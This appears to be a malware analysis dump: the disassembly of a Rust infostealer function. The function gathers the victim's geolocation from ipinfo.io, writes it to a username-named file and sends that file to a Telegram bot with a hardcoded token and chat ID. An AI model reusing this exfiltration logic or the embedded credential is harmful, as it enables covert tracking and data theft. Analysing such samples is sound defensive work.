Function at 0x14000bf00
Capabilities:
Get geographical location

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x7b8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x730], 0xfffffffffffffffe
lea rdx, str.https:__ipinfo.io_json_ipinfo.txt
lea rcx, [rbp + 0x1c0]
mov r8d, 0x16
call fcn.14001f470
mov rsi, qword [rbp + 0x1c0]
mov rdi, qword [rbp + 0x1c8]
cmp rsi, 3
jne 0x14000bf8d
mov qword [rbp + 0x1c0], rdi
movzx eax, byte [0x140331341]
mov ecx, 8
mov edx, 8
call fcn.140022d40
test rax, rax
jne 0x14000bffe
mov ecx, 8
mov edx, 8
call fcn.140215fa0
jmp 0x14000db64
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp - 0x40]
mov r8d, 0xa0
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rdi
lea rcx, [rbp + 0x310]
lea rdx, [rbp - 0x50]
call fcn.14001a700
mov rsi, qword [rbp + 0x310]
mov rdi, qword [rbp + 0x318]
movabs rax, 0x8000000000000000
cmp rsi, rax
jne 0x14000c025
mov qword [rbp + 0x310], rdi
movzx eax, byte [0x140331341]
mov ecx, 8
mov edx, 8
call fcn.140022d40
test rax, rax
je 0x14000daf2
mov rsi, rax
mov qword [rax], rdi
lea rdi, fcn.140007980
mov rax, rsi
mov rdx, rdi
add rsp, 0x7b8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x4a0]
mov r8d, 0xe0
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x490], rsi
mov qword [rbp + 0x498], rdi
mov byte [rbp + 0x724], 1
mov byte [rbp + 0x723], 1
mov byte [rbp + 0x722], 1
mov byte [rbp + 0x721], 1
mov byte [rbp + 0x720], 1
mov byte [rbp + 0x71f], 1
mov byte [rbp + 0x71e], 1
mov byte [rbp + 0x71d], 1
mov byte [rbp + 0x71c], 1
lea rdx, str.USERNAME.txt
lea rcx, [rbp + 0x310]
mov r8d, 8
call fcn.1401d5710
mov rsi, qword [rbp + 0x310]
movabs rax, 0x8000000000000001
cmp rsi, rax
jne 0x14000c0d8
lea rax, [rbp + 0x318]
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x670], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x660], xmm0
jmp 0x14000c13f
mov rdi, qword [rbp + 0x318]
movzx eax, byte [0x140331341]
mov ecx, 4
mov edx, 1
call fcn.140022d40
test rax, rax
je 0x14000db14
mov dword [rax], 0x72657375
mov qword [rbp + 0x660], 4
mov qword [rbp + 0x668], rax
mov qword [rbp + 0x670], 4
lea rax, [rsi*2]
test rax, rax
je 0x14000c13f
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
call fcn.140022d50
lea rax, [rbp + 0x660]
mov qword [rbp + 0x580], rax
lea rbx, [0x140008a90]
mov qword [rbp + 0x588], rbx
lea rax, [0x1402181d0]
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 2
mov qword [rbp + 0x330], 0
lea rdi, [rbp + 0x580]
mov qword [rbp + 0x320], rdi
mov qword [rbp + 0x328], 1
mov byte [rbp + 0x707], 1
mov byte [rbp + 0x706], 1
mov byte [rbp + 0x705], 1
mov byte [rbp + 0x704], 1
mov byte [rbp + 0x703], 1
mov byte [rbp + 0x702], 1
mov byte [rbp + 0x701], 1
mov byte [rbp + 0x700], 1
mov byte [rbp + 0x6ff], 1
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x310]
call fcn.1401f56d0
mov rax, qword [rbp + 0x1c0]
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0x6a0], rax
mov rsi, qword [rbp + 0x1d0]
lea rax, [rbp + 0x490]
mov qword [rbp + 0x580], rax
mov qword [rbp + 0x588], rbx
lea rax, str.IP:
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 2
mov qword [rbp + 0x330], 0
mov qword [rbp + 0x320], rdi
mov qword [rbp + 0x328], 1
mov byte [rbp + 0x6fe], 1
mov byte [rbp + 0x6fd], 1
mov byte [rbp + 0x6fc], 1
mov byte [rbp + 0x6fb], 1
mov byte [rbp + 0x6fa], 1
mov byte [rbp + 0x6f9], 1
mov byte [rbp + 0x6f8], 1
mov byte [rbp + 0x6f7], 1
mov byte [rbp + 0x6f6], 1
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x310]
call fcn.1401f56d0
movups xmm0, xmmword [rbp + 0x1c0]
movaps xmmword [rbp + 0x6d0], xmm0
mov rax, qword [rbp + 0x1d0]
mov qword [rbp + 0x6e0], rax
mov r12, qword [rbp + 0x4a8]
mov al, 1
mov dword [rbp + 0x6e8], eax
mov al, 1
mov dword [rbp + 0x710], eax
movabs rax, 0x8000000000000000
cmp r12, rax
je 0x14000c44c
lea rax, [rbp + 0x4a8]
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x590], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0x108], rbx
lea rax, str.City:
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 2
mov qword [rbp + 0x330], 0
lea rax, [rbp + 0x100]
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], 1
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x310]
call fcn.1401f56d0
mov r13, qword [rbp + 0x1c0]
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0x710], rax
mov rbx, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x6d0]
mov r14, qword [rbp + 0x6e0]
sub rax, r14
cmp rax, rbx
jae 0x14000c3cb
mov r15, r12
mov qword [rbp + 0x708], r13
lea rcx, [rbp + 0x6d0]
mov rdx, r14
mov r8, rbx
call fcn.140205260
mov r12, rsi
mov r14, qword [rbp + 0x6e0]
mov r13, qword [rbp + 0x708]
jmp 0x14000c3d1
mov r15, r12
mov r12, rsi
mov rcx, qword [rbp + 0x6d8]
add rcx, r14
mov rsi, qword [rbp + 0x710]
mov rdx, rsi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r14, rbx
mov qword [rbp + 0x6e0], r14
test r13, r13
je 0x14000c40d
mov r8d, 1
mov rcx, rsi
mov rdx, r13
call fcn.140022d50
mov rdx, qword [rbp + 0x580]
test rdx, rdx
lea rbx, [0x140008a90]
je 0x14000c432
mov rcx, qword [rbp + 0x588]
mov r8d, 1
call fcn.140022d50
mov dword [rbp + 0x710], 0
movabs rax, 0x8000000000000000
mov rsi, r12
mov r12, r15
mov r13, qword [rbp + 0x4c0]
cmp r13, rax
je 0x14000c5a1
lea rax, [rbp + 0x4c0]
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x590], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0x108], rbx
lea rax, str.Region:__
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 2
mov qword [rbp + 0x330], 0
lea rax, [rbp + 0x100]
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], 1
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x310]
call fcn.1401f56d0
mov rax, qword [rbp + 0x1c0]
mov qword [rbp + 0x6e8], rax
mov r15, qword [rbp + 0x1c8]
mov rbx, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x6d0]
mov r14, qword [rbp + 0x6e0]
sub rax, r14
cmp rax, rbx
jae 0x14000c52f
mov qword [rbp + 0x708], r15
lea rcx, [rbp + 0x6d0]
mov rdx, r14
mov r8, rbx
call fcn.140205260
mov r14, qword [rbp + 0x6e0]
mov r15, qword [rbp + 0x708]
mov rcx, qword [rbp + 0x6d8]
add rcx, r14
mov rdx, r15
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r14, rbx
mov qword [rbp + 0x6e0], r14
mov rdx, qword [rbp + 0x6e8]
test rdx, rdx
je 0x14000c568
mov r8d, 1
mov rcx, r15
call fcn.140022d50
mov rdx, qword [rbp + 0x580]
test rdx, rdx
lea rbx, [0x140008a90]
je 0x14000c58d
mov rcx, qword [rbp + 0x588]
mov r8d, 1
call fcn.140022d50
mov dword [rbp + 0x6e8], 0
movabs rax, 0x8000000000000000
mov rdx, qword [rbp + 0x4d8]
mov cl, 1
mov dword [rbp + 0x6b8], ecx
mov cl, 1
mov dword [rbp + 0x708], ecx
mov qword [rbp + 0x630], rdx
cmp rdx, rax
je 0x14000c70d
lea rax, [rbp + 0x4d8]
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x590], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0x108], rbx
lea rax, str.Country:
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 2
mov qword [rbp + 0x330], 0
lea rax, [rbp + 0x100]
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], 1
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x310]
call fcn.1401f56d0
mov rax, qword [rbp + 0x1c0]
mov qword [rbp + 0x708], rax
mov r15, qword [rbp + 0x1c8]
mov rbx, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x6d0]
mov r14, qword [rbp + 0x6e0]
sub rax, r14
cmp rax, rbx
jae 0x14000c69b
mov qword [rbp + 0x6c8], r15
lea rcx, [rbp + 0x6d0]
mov rdx, r14
mov r8, rbx
call fcn.140205260
mov r14, qword [rbp + 0x6e0]
mov r15, qword [rbp + 0x6c8]
mov rcx, qword [rbp + 0x6d8]
add rcx, r14
mov rdx, r15
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r14, rbx
mov qword [rbp + 0x6e0], r14
mov rdx, qword [rbp + 0x708]
test rdx, rdx
je 0x14000c6d4
mov r8d, 1
mov rcx, r15
call fcn.140022d50
mov rdx, qword [rbp + 0x580]
test rdx, rdx
lea rbx, [0x140008a90]
je 0x14000c6f9
mov rcx, qword [rbp + 0x588]
mov r8d, 1
call fcn.140022d50
mov dword [rbp + 0x708], 0
movabs rax, 0x8000000000000000
mov rcx, qword [rbp + 0x4f0]
mov qword [rbp + 0x638], rcx
cmp rcx, rax
je 0x14000c869
lea rax, [rbp + 0x4f0]
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x590], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0x108], rbx
lea rax, str.Location:
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 2
mov qword [rbp + 0x330], 0
lea rax, [rbp + 0x100]
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], 1
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x310]
call fcn.1401f56d0
mov rax, qword [rbp + 0x1c0]
mov qword [rbp + 0x6b8], rax
mov r15, qword [rbp + 0x1c8]
mov rbx, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x6d0]
mov r14, qword [rbp + 0x6e0]
sub rax, r14
cmp rax, rbx
jae 0x14000c7f7
mov qword [rbp + 0x6c8], r15
lea rcx, [rbp + 0x6d0]
mov rdx, r14
mov r8, rbx
call fcn.140205260
mov r14, qword [rbp + 0x6e0]
mov r15, qword [rbp + 0x6c8]
mov rcx, qword [rbp + 0x6d8]
add rcx, r14
mov rdx, r15
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r14, rbx
mov qword [rbp + 0x6e0], r14
mov rdx, qword [rbp + 0x6b8]
test rdx, rdx
je 0x14000c830
mov r8d, 1
mov rcx, r15
call fcn.140022d50
mov rdx, qword [rbp + 0x580]
test rdx, rdx
lea rbx, [0x140008a90]
je 0x14000c855
mov rcx, qword [rbp + 0x588]
mov r8d, 1
call fcn.140022d50
mov dword [rbp + 0x6b8], 0
movabs rax, 0x8000000000000000
mov rcx, qword [rbp + 0x508]
mov dl, 1
mov dword [rbp + 0x6b0], edx
mov dl, 1
mov dword [rbp + 0x6c8], edx
mov qword [rbp + 0x640], rcx
cmp rcx, rax
je 0x14000c9d5
lea rax, [rbp + 0x508]
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x590], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0x108], rbx
lea rax, str.Postal_Code:
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 2
mov qword [rbp + 0x330], 0
lea rax, [rbp + 0x100]
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], 1
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x310]
call fcn.1401f56d0
mov rax, qword [rbp + 0x1c0]
mov qword [rbp + 0x6c8], rax
mov r15, qword [rbp + 0x1c8]
mov rbx, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x6d0]
mov r14, qword [rbp + 0x6e0]
sub rax, r14
cmp rax, rbx
jae 0x14000c963
mov qword [rbp + 0x6c0], r15
lea rcx, [rbp + 0x6d0]
mov rdx, r14
mov r8, rbx
call fcn.140205260
mov r14, qword [rbp + 0x6e0]
mov r15, qword [rbp + 0x6c0]
mov rcx, qword [rbp + 0x6d8]
add rcx, r14
mov rdx, r15
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r14, rbx
mov qword [rbp + 0x6e0], r14
mov rdx, qword [rbp + 0x6c8]
test rdx, rdx
je 0x14000c99c
mov r8d, 1
mov rcx, r15
call fcn.140022d50
mov rdx, qword [rbp + 0x580]
test rdx, rdx
lea rbx, [0x140008a90]
je 0x14000c9c1
mov rcx, qword [rbp + 0x588]
mov r8d, 1
call fcn.140022d50
mov dword [rbp + 0x6c8], 0
movabs rax, 0x8000000000000000
mov rcx, qword [rbp + 0x520]
mov qword [rbp + 0x648], rcx
cmp rcx, rax
je 0x14000cb31
lea rax, [rbp + 0x520]
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x590], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0x108], rbx
lea rax, str.Timezone:
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 2
mov qword [rbp + 0x330], 0
lea rax, [rbp + 0x100]
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], 1
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x310]
call fcn.1401f56d0
mov rax, qword [rbp + 0x1c0]
mov qword [rbp + 0x6b0], rax
mov r15, qword [rbp + 0x1c8]
mov rbx, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x6d0]
mov r14, qword [rbp + 0x6e0]
sub rax, r14
cmp rax, rbx
jae 0x14000cabf
mov qword [rbp + 0x6c0], r15
lea rcx, [rbp + 0x6d0]
mov rdx, r14
mov r8, rbx
call fcn.140205260
mov r14, qword [rbp + 0x6e0]
mov r15, qword [rbp + 0x6c0]
mov rcx, qword [rbp + 0x6d8]
add rcx, r14
mov rdx, r15
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r14, rbx
mov qword [rbp + 0x6e0], r14
mov rdx, qword [rbp + 0x6b0]
test rdx, rdx
je 0x14000caf8
mov r8d, 1
mov rcx, r15
call fcn.140022d50
mov rdx, qword [rbp + 0x580]
test rdx, rdx
lea rbx, [0x140008a90]
je 0x14000cb1d
mov rcx, qword [rbp + 0x588]
mov r8d, 1
call fcn.140022d50
mov dword [rbp + 0x6b0], 0
movabs rax, 0x8000000000000000
mov rcx, qword [rbp + 0x538]
mov dl, 1
mov dword [rbp + 0x6a8], edx
mov dl, 1
mov dword [rbp + 0x6c0], edx
mov qword [rbp + 0x650], rcx
cmp rcx, rax
je 0x14000cc9d
lea rax, [rbp + 0x538]
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x590], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0x108], rbx
lea rax, str.ISP:
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 2
mov qword [rbp + 0x330], 0
lea rax, [rbp + 0x100]
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], 1
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x310]
call fcn.1401f56d0
mov rax, qword [rbp + 0x1c0]
mov qword [rbp + 0x6c0], rax
mov r15, qword [rbp + 0x1c8]
mov rbx, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x6d0]
mov r14, qword [rbp + 0x6e0]
sub rax, r14
cmp rax, rbx
jae 0x14000cc2b
mov qword [rbp + 0x688], r15
lea rcx, [rbp + 0x6d0]
mov rdx, r14
mov r8, rbx
call fcn.140205260
mov r14, qword [rbp + 0x6e0]
mov r15, qword [rbp + 0x688]
mov rcx, qword [rbp + 0x6d8]
add rcx, r14
mov rdx, r15
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r14, rbx
mov qword [rbp + 0x6e0], r14
mov rdx, qword [rbp + 0x6c0]
test rdx, rdx
je 0x14000cc64
mov r8d, 1
mov rcx, r15
call fcn.140022d50
mov rdx, qword [rbp + 0x580]
test rdx, rdx
lea rbx, [0x140008a90]
je 0x14000cc89
mov rcx, qword [rbp + 0x588]
mov r8d, 1
call fcn.140022d50
mov dword [rbp + 0x6c0], 0
movabs rax, 0x8000000000000000
mov rcx, qword [rbp + 0x550]
mov qword [rbp + 0x688], rcx
cmp rcx, rax
je 0x14000cdf9
lea rax, [rbp + 0x550]
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x590], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0x108], rbx
lea rax, str.Organization:
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 2
mov qword [rbp + 0x330], 0
lea rax, [rbp + 0x100]
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], 1
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x310]
call fcn.1401f56d0
mov rax, qword [rbp + 0x1c0]
mov qword [rbp + 0x6a8], rax
mov r15, qword [rbp + 0x1c8]
mov rbx, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x6d0]
mov r14, qword [rbp + 0x6e0]
sub rax, r14
cmp rax, rbx
jae 0x14000cd87
mov qword [rbp + 0x690], r15
lea rcx, [rbp + 0x6d0]
mov rdx, r14
mov r8, rbx
call fcn.140205260
mov r14, qword [rbp + 0x6e0]
mov r15, qword [rbp + 0x690]
mov rcx, qword [rbp + 0x6d8]
add rcx, r14
mov rdx, r15
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r14, rbx
mov qword [rbp + 0x6e0], r14
mov rdx, qword [rbp + 0x6a8]
test rdx, rdx
je 0x14000cdc0
mov r8d, 1
mov rcx, r15
call fcn.140022d50
mov rdx, qword [rbp + 0x580]
test rdx, rdx
lea rbx, [0x140008a90]
je 0x14000cde5
mov rcx, qword [rbp + 0x588]
mov r8d, 1
call fcn.140022d50
mov dword [rbp + 0x6a8], 0
movabs rax, 0x8000000000000000
mov qword [rbp + 0x690], r13
mov r13, r12
mov r12, qword [rbp + 0x568]
mov cl, 1
cmp r12, rax
je 0x14000cf44
lea rax, [rbp + 0x568]
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x590], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0x108], rbx
lea rax, str.Hostname:
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 2
mov qword [rbp + 0x330], 0
lea rax, [rbp + 0x100]
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], 1
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x310]
call fcn.1401f56d0
mov rdi, qword [rbp + 0x1c0]
mov r15, qword [rbp + 0x1c8]
mov rbx, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x6d0]
mov r14, qword [rbp + 0x6e0]
sub rax, r14
cmp rax, rbx
jae 0x14000ceef
mov qword [rbp + 0x658], r15
mov qword [rbp + 0x698], rdi
lea rcx, [rbp + 0x6d0]
mov rdx, r14
mov r8, rbx
call fcn.140205260
mov r14, qword [rbp + 0x6e0]
mov rdi, qword [rbp + 0x698]
mov r15, qword [rbp + 0x658]
mov rcx, qword [rbp + 0x6d8]
add rcx, r14
mov rdx, r15
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r14, rbx
mov qword [rbp + 0x6e0], r14
test rdi, rdi
je 0x14000cf24
mov r8d, 1
mov rcx, r15
mov rdx, rdi
call fcn.140022d50
mov rdx, qword [rbp + 0x580]
test rdx, rdx
je 0x14000cf42
mov rcx, qword [rbp + 0x588]
mov r8d, 1
call fcn.140022d50
xor ecx, ecx
mov dword [rbp + 0x310], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x318], xmm0
mov dword [rbp + 0x328], 7
mov qword [rbp + 0x32c], 0
mov word [rbp + 0x334], 0
mov byte [rbp + 0x331], 1
mov byte [rbp + 0x334], 1
mov byte [rbp + 0x333], 1
mov dword [rbp + 0x698], ecx
mov byte [rbp + 0x72f], cl
mov eax, dword [rbp + 0x6a8]
mov byte [rbp + 0x72e], al
mov eax, dword [rbp + 0x6c0]
mov byte [rbp + 0x72d], al
mov eax, dword [rbp + 0x6b0]
mov byte [rbp + 0x72c], al
mov eax, dword [rbp + 0x6c8]
mov byte [rbp + 0x72b], al
mov eax, dword [rbp + 0x6b8]
mov byte [rbp + 0x72a], al
mov eax, dword [rbp + 0x708]
mov byte [rbp + 0x729], al
mov eax, dword [rbp + 0x6e8]
mov byte [rbp + 0x728], al
mov eax, dword [rbp + 0x710]
mov byte [rbp + 0x727], al
lea rcx, [rbp + 0x310]
mov rdx, qword [rbp + 0x6a0]
mov r8, rsi
call fcn.1401d6030
mov rbx, rdx
test rax, rax
je 0x14000d04d
mov qword [rbp + 0x310], rbx
movzx eax, byte [0x140331341]
mov ecx, 8
mov edx, 8
call fcn.140022d40
test rax, rax
je 0x14000db03
mov rsi, rax
mov qword [rax], rbx
lea rdi, fcn.140007a90
jmp 0x14000d877
mov qword [rbp + 0x678], rbx
mov rbx, qword [rbp + 0x6e0]
test rbx, rbx
je 0x14000d0f7
mov r14, qword [rbp + 0x6d8]
lea r15, [rbp + 0x678]
lea rdi, [0x1402184c8]
jmp 0x14000d092
cmp byte [rdx + 0xf], 0x23
jne 0x14000d7c8
mov rcx, rdx
call fcn.14001a1e0
test rbx, rbx
je 0x14000d0f7
mov rcx, r15
mov rdx, r14
mov r8, rbx
call fcn.1401d6010
test rax, rax
je 0x14000d0c0
mov eax, edx
and eax, 3
movsxd rax, dword [rdi + rax*4]
add rax, rdi
jmp rax
cmp byte [rdx + 0x10], 0x23
je 0x14000d085
jmp 0x14000d7c8
test rdx, rdx
je 0x14000d7c1
mov rax, rbx
sub rax, rdx
jb 0x14000dade
add r14, rdx
mov rbx, rax
test rbx, rbx
jne 0x14000d092
jmp 0x14000d0f7
mov rax, rdx
shr rax, 0x20
cmp eax, 0x23
je 0x14000d085
test rdx, rdx
jne 0x14000d7c8
lea rax, str.7059057899:AAHEcMiLTHaE2i6Sk9S8B_R0FbK8_VxAniU5548785386Error_saving_file:__n
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], 0x2e
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0x1c0], rax
lea rax, [0x140018570]
mov qword [rbp + 0x1c8], rax
lea rax, str.https:__api.telegram.org_bot_sendDocument
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 2
mov qword [rbp + 0x330], 0
lea rax, [rbp + 0x1c0]
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], 1
lea rcx, [rbp + 0x478]
lea rdx, [rbp + 0x310]
call fcn.1401f56d0
lea rcx, [rbp + 0x310]
call fcn.14006c9a0
mov qword [rsp + 0x28], rsi
mov rax, qword [rbp + 0x6a0]
mov qword [rsp + 0x20], rax
lea r8, str.documentsrc_antibotip.rs
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x310]
mov r9d, 8
call fcn.1400192f0
mov rax, qword [rbp + 0x1c0]
mov rdi, qword [rbp + 0x1c8]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x14000d21e
mov qword [rbp + 0x310], rdi
movzx eax, byte [0x140331341]
mov ecx, 8
mov edx, 8
call fcn.140022d40
test rax, rax
je 0x14000db33
mov rsi, rax
mov qword [rax], rdi
lea rdi, fcn.140007a90
mov rdx, qword [rbp + 0x478]
test rdx, rdx
jne 0x14000d3f1
jmp 0x14000d7fe
movups xmm0, xmmword [rbp + 0x1d0]
movups xmm1, xmmword [rbp + 0x1e0]
movups xmm2, xmmword [rbp + 0x1f0]
movups xmm3, xmmword [rbp + 0x200]
movups xmmword [rbp + 0xf0], xmm3
movups xmmword [rbp + 0xe0], xmm2
movups xmmword [rbp + 0xd0], xmm1
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdi
mov byte [rbp + 0x725], 1
lea rcx, [rbp + 0x460]
call fcn.140059720
movabs rax, 0x202020202020202
mov qword [rbp + 0x1d0], rax
movaps xmm0, xmmword [0x140217be0]
movaps xmmword [rbp + 0x1c0], xmm0
mov byte [rbp + 0x726], 1
lea rcx, [rbp + 0x310]
lea rdx, [rbp + 0x460]
lea r8, [rbp + 0x1c0]
lea r9, [rbp + 0x478]
call fcn.14001c460
movups xmm0, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0xa0], xmm0
movups xmm0, xmmword [rbp + 0xb0]
movups xmm1, xmmword [rbp + 0xc0]
movups xmm2, xmmword [rbp + 0xd0]
movups xmm3, xmmword [rbp + 0xe0]
movaps xmmword [rbp + 0x90], xmm3
movaps xmmword [rbp + 0x80], xmm2
movaps xmmword [rbp + 0x70], xmm1
movaps xmmword [rbp + 0x60], xmm0
mov byte [rbp + 0x726], 0
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x310]
lea r8, [rbp + 0x60]
call fcn.14007cc50
lea rax, str.chat_idError_sending_file:
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], 7
lea rax, [0x140217d46]
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], 0xa
mov byte [rbp + 0x726], 0
lea rcx, [rbp + 0x310]
lea rdx, [rbp + 0x1c0]
lea r8, [rbp + 0x60]
call fcn.14001f5c0
mov byte [rbp + 0x726], 0
lea rcx, [rbp + 0x580]
lea rdx, [rbp + 0x310]
call fcn.14007d9e0
mov rsi, qword [rbp + 0x580]
mov rdi, qword [rbp + 0x588]
cmp rsi, 3
jne 0x14000d408
mov qword [rbp + 0x310], rdi
movzx eax, byte [0x140331341]
mov ecx, 8
mov edx, 8
call fcn.140022d40
test rax, rax
je 0x14000db55
mov rsi, rax
mov qword [rax], rdi
mov rax, qword [rbp + 0x460]
lock dec qword [rax]
jne 0x14000d3da
mov byte [rbp + 0x725], 0
lea rcx, [rbp + 0x460]
call fcn.140017560
lea rdi, fcn.140007980
mov rdx, qword [rbp + 0x478]
test rdx, rdx
je 0x14000d7fe
mov rcx, qword [rbp + 0x480]
mov r8d, 1
call fcn.140022d50
jmp 0x14000d7fe
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x110]
mov r8d, 0xa0
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x100], rsi
mov qword [rbp + 0x108], rdi
mov byte [rbp + 0x726], 0
lea rcx, [rbp + 0x100]
call fcn.140008270
mov rax, qword [rbp + 0x460]
lock dec qword [rax]
jne 0x14000d462
mov byte [rbp + 0x725], 0
lea rcx, [rbp + 0x460]
call fcn.140017560
mov rdx, qword [rbp + 0x478]
test rdx, rdx
je 0x14000d480
mov rcx, qword [rbp + 0x480]
mov r8d, 1
call fcn.140022d50
mov rcx, qword [rbp + 0x678]
mov eax, dword [rbp + 0x698]
mov byte [rbp + 0x72f], al
mov eax, dword [rbp + 0x6a8]
mov byte [rbp + 0x72e], al
mov eax, dword [rbp + 0x6c0]
mov byte [rbp + 0x72d], al
mov eax, dword [rbp + 0x6b0]
mov byte [rbp + 0x72c], al
mov eax, dword [rbp + 0x6c8]
mov byte [rbp + 0x72b], al
mov eax, dword [rbp + 0x6b8]
mov byte [rbp + 0x72a], al
mov eax, dword [rbp + 0x708]
mov byte [rbp + 0x729], al
mov eax, dword [rbp + 0x6e8]
mov byte [rbp + 0x728], al
mov eax, dword [rbp + 0x710]
mov byte [rbp + 0x727], al
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x6d0]
test rdx, rdx
je 0x14000d517
mov rcx, qword [rbp + 0x6d8]
mov r8d, 1
call fcn.140022d50
mov rdx, qword [rbp + 0x680]
test rdx, rdx
je 0x14000d535
mov r8d, 1
mov rcx, qword [rbp + 0x6a0]
call fcn.140022d50
mov rdx, qword [rbp + 0x660]
test rdx, rdx
je 0x14000d553
mov rcx, qword [rbp + 0x668]
mov r8d, 1
call fcn.140022d50
mov rdx, qword [rbp + 0x490]
test rdx, rdx
je 0x14000d571
mov rcx, qword [rbp + 0x498]
mov r8d, 1
call fcn.140022d50
movabs rax, 0x8000000000000000
cmp r13, rax
jne 0x14000d5ba
mov rdx, qword [rbp + 0x4a8]
lea rax, [rdx*2]
test rax, rax
movabs rax, 0x8000000000000000
